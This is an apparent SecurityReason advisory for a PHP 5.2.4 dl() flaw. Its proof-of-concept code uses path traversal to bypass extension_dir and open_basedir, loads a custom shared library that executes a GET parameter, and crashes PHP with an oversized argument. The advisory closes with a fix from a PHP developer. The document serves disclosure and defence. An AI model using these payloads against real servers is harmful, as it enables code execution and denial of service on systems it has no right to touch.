SecurityReason - PHP 5.2.4 <= dl() extension

Advisory Text :

Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: extension_dir bypass & code exec & denial of service
special condition: default php-memory-limit

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1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
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1) Introduction
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"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

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2) Bug
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extension_dir bypass & code exec & denial of service
http://ca.php.net/manual/fr/function.dl.php

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3)Proof of concept
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/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/

Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("../../../../../../../../../../../../../../etc/passwd")
output --->
Warning: dl() [function.dl]: Unable to load dynamic library
'./../../../../../../../../../etc/passwd' -
./../../../../../../../../../etc/passwd: invalid ELF header in
/usr/local/apache2/htdocs/3.php on line 2

ya right ... /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./../../../../../../../../../../../home/myuser/www//my_powning_lib/pwne
d.so");
$a = powningfunction($_GET['lets_exec']);
print_r($a);
?>

denial of service :
debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#

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4)Greets
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Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone &
#nibbles

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5)Credits
=====

laurent gaffié
laurent.gaffié@gmail.com

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SecurityReason Note
===============

This patch seems to fix the issue:

Index: dl.c - Added
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if(type == MODULE_TEMPORARY) {
if(strchr(Z_STRVAL_P(file), '/') != NULL ||
strchr(Z_STRVAL_P(file), DEFAULT_SLASH) != NULL) {
php_error_docref(NULL TSRMLS_CC,
E_WARNING, "Temporary module name should contain only filename");
RETURN_FALSE;
}
}

Patch also available on :
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/dl.c?r1=1.106.2.1.2.2&r2
=1.106.2.1.2.3

Patch provided by Stanislav Malyshev, Zend Software Architect